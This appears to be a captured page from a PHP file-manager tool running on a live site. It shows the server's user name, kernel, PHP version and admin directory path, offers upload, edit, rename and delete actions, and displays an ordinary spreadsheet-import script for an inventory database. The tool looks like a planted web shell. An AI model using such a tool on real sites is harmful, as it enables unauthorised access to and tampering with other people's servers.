Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.34.1.lve.el8.x86_64

PHP Version:

8.1.34

User:

u823300664

Directory:

/home/u823300664/domains/allspikes.in/public_html/admin

Free Space:

2 TB

🔧 Quick Actions

✏️ Editing: excel_upload.php

<?php
require 'config.php';
require 'header.php';

error_reporting(E_ALL);
ini_set('display_errors', 1);

require 'assets/vendor/autoload.php';

require 'assets/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Spreadsheet.php';
require 'assets/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx.php';
require 'assets/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/IOFactory.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$messages = []; // Array to store messages

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
    // Error handling for file upload
    if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) {
        $messages['error'] = "File upload error: " . $_FILES['file']['error'];
    } else {
    $file = $_FILES['file']['tmp_name'];

try {
        // Load the spreadsheet
        $spreadsheet = IOFactory::load($file);
        $worksheet = $spreadsheet->getActiveSheet();
        $data = $worksheet->toArray();

// Get the header row
        $headers = array_shift($data);

// Define hard-coded column mappings
        $columnMapping = [
            'Sno' => 'sno',
            'Brand' => 'brand',
            'Event' => 'event',
            'ARTICLE NO' => 'article_no',
            'Models' => 'model',
            'COLOUR' => 'colour',
            'SIZE' => 'size',
            'Status' => 'status'
        ];

// Normalize headers
        $normalizedHeaders = array_map('trim', array_map('strtolower', $headers));

// Map header names to column indexes
        $headerIndexes = [];
        foreach ($columnMapping as $excelHeader => $dbColumn) {
                $normalizedExcelHeader = strtolower(trim($excelHeader));
                $index = array_search($normalizedExcelHeader, $normalizedHeaders);
            if ($index !== false) {
                $headerIndexes[$dbColumn] = $index;
            }
        }

// Use existing mysqli connection from config.php
        global $con; // Access the $con variable defined in config.php
        
        foreach ($data as $row) {
                // Ensure that all required columns are present
                if (isset($headerIndexes['sno']) && isset($headerIndexes['brand']) && isset($headerIndexes['event']) && 
                    isset($headerIndexes['article_no']) && isset($headerIndexes['model']) && 
                    isset($headerIndexes['colour']) && isset($headerIndexes['size']) && 
                    isset($headerIndexes['status'])) {
                    
            $sno = $row[$headerIndexes['sno']];
            $brand = $row[$headerIndexes['brand']];
            $event = $row[$headerIndexes['event']];
            $article_no = $row[$headerIndexes['article_no']];
            $model = $row[$headerIndexes['model']];
            $colour = $row[$headerIndexes['colour']];
            $size = $row[$headerIndexes['size']];
            $status = $row[$headerIndexes['status']];
            $product_id = 'AS0' . $sno . $article_no; // Concatenate for product_id
            
            // Prepare and execute the insert statement
            $stmt = $con->prepare("INSERT INTO inventory (brand, event, article_no, model, colour, size, product_id, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?)");
            $stmt->bind_param("ssssssss", $brand, $event, $article_no, $model, $colour, $size, $product_id, $status);
            $stmt->execute();
                } else {
                    throw new Exception("One or more required columns are missing in the spreadsheet.");
                }
        }

$messages['success'] = "File uploaded and data inserted successfully.";
    } catch (Exception $e) {
        // Catch and display errors
            $messages['error'] = 'Error: ' . $e->getMessage();
        }
    }
}
?>

<main role="main" class="main-content">
    <div class="container-fluid">
        <h2 class="page-title">Excel Upload</h2>
        <div class="row justify-content-center">
            <div class="col-12">
                
                <form action="excel_upload.php" method="post" enctype="multipart/form-data">
                    <input type="file" name="file" accept=".xlsx">
                    <button type="submit">Upload</button>
                </form>

<?php if (isset($messages['success'])): ?>
                    <div class="alert alert-success" role="alert">
                        <?php echo htmlspecialchars($messages['success']); ?>
                    </div>
                <?php endif; ?>

<?php if (isset($messages['error'])): ?>
                    <div class="alert alert-danger" role="alert">
                        <?php echo htmlspecialchars($messages['error']); ?>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
</main>

<?php require 'footer.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: excel_upload.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation